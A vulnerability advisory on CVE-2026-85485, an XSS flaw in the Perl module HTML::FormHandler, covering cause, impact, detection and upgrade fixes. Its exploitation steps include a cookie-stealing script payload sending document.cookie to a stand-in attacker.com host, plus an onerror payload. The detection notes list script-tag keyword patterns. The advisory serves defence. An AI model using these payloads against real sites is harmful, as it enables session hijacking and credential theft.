CVE-2026-85485: 
Linux Debian vulnerability analysis and mitigation

CVE-2026-85485 is a Cross-Site Scripting (XSS) vulnerability in the Perl module HTML::FormHandler affecting all versions before 0.410002. The flaw exists because the Table form layout and Bootstrap 2 and 3 wrappers render form error messages directly into HTML output without escaping, allowing attacker-influenced content (such as rejected field values) to embed JavaScript in rendered pages. It was published on September 8, 2026, and represents an incomplete fix relative to CVE-2026-19872, which addressed the same issue in other layouts and wrappers. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Specifically, three locations in the codebase — HTML::FormHandler::Widget::Form::Table, HTML::FormHandler::Widget::Wrapper::Bootstrap, and HTML::FormHandler::Widget::Wrapper::Bootstrap3 — splice error strings directly into surrounding HTML markup without calling HTML::Entities::encode_entities(). An attacker can submit a form field value containing a JavaScript payload (e.g., <script>alert(1)</script>); when the server rejects the input and renders the error message, the unescaped payload executes in the victim's browser. The fix in version 0.410002 adds use HTML::Entities qw(encode_entities) and wraps all error strings with encode_entities() in the affected modules (GitHub Patch, GitHub Advisory).

Successful exploitation allows an unauthenticated attacker to inject and execute arbitrary JavaScript in the browsers of users who view form error pages rendered by the affected layouts or wrappers. This can lead to session hijacking, credential theft, phishing, or unauthorized actions performed on behalf of the victim user. Confidentiality and integrity are both assessed as low impact, and availability is not affected, consistent with the CVSS score of 6.1 (GitHub Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. The EPSS score is approximately 0.186–0.207%, placing it in the lower percentiles for exploitation likelihood. Exploitation requires user interaction (a victim must view the error page), and the attack is not automatable per NVD SSVC assessment (GitHub Advisory).

1. Identify target: Locate a web application built with Perl's HTML::FormHandler using the Table form layout or Bootstrap 2/3 wrappers, running a version prior to 0.410002.
2. Craft malicious input: Prepare a form field value containing an XSS payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based payload like "><img src=x onerror=alert(1)>.
3. Submit the form: Submit the form with the malicious payload as a field value that will be rejected by server-side validation (e.g., an invalid email format or a value that fails a custom validator).
4. Trigger error rendering: The server rejects the input and renders the form again with an error message that includes the unescaped attacker-controlled field value, embedding the JavaScript payload into the HTML response.
5. Victim execution: When a user (or the attacker themselves in a reflected scenario) views the error page, the injected JavaScript executes in their browser, enabling session theft, credential harvesting, or other client-side attacks (GitHub Patch, GitHub Advisory).

• Network: HTTP POST requests to form endpoints containing HTML/JavaScript tags (e.g., <script>, onerror=, javascript:) in field values; outbound requests from victim browsers to attacker-controlled domains following form submission.
• Logs: Web server access logs showing form POST requests with URL-encoded script tags or event handler strings in body parameters; error logs showing repeated form validation failures with unusual field content.
• File System: No direct file system artifacts expected for reflected XSS; however, if the application logs form submissions, review logs for entries containing <script, onerror, onload, or javascript: strings.
• Process/Browser: Unexpected JavaScript execution in user browsers resulting in redirects to unknown domains or exfiltration of cookies/session tokens.

The primary remediation is to upgrade HTML::FormHandler to version 0.410002 or later, which applies HTML::Entities::encode_entities() to all error messages in the Table layout and Bootstrap 2/3 wrappers (GitHub Patch, MetaCPAN Release). If immediate patching is not feasible, validate and sanitize all user-supplied input before it is included in error messages, and implement a strict Content Security Policy (CSP) header to restrict inline JavaScript execution on affected pages. OpenSUSE users should also monitor the distribution's security announcement list for updated packages (GitHub Advisory).

The vulnerability was disclosed via the oss-security mailing list and picked up by standard vulnerability tracking services including VulDB, OSV, and Tenable (Nessus plugin 343916). OpenSUSE issued a security announcement for the affected package. No notable researcher commentary or significant social media discussion has been observed beyond routine CVE tracking (GitHub Advisory).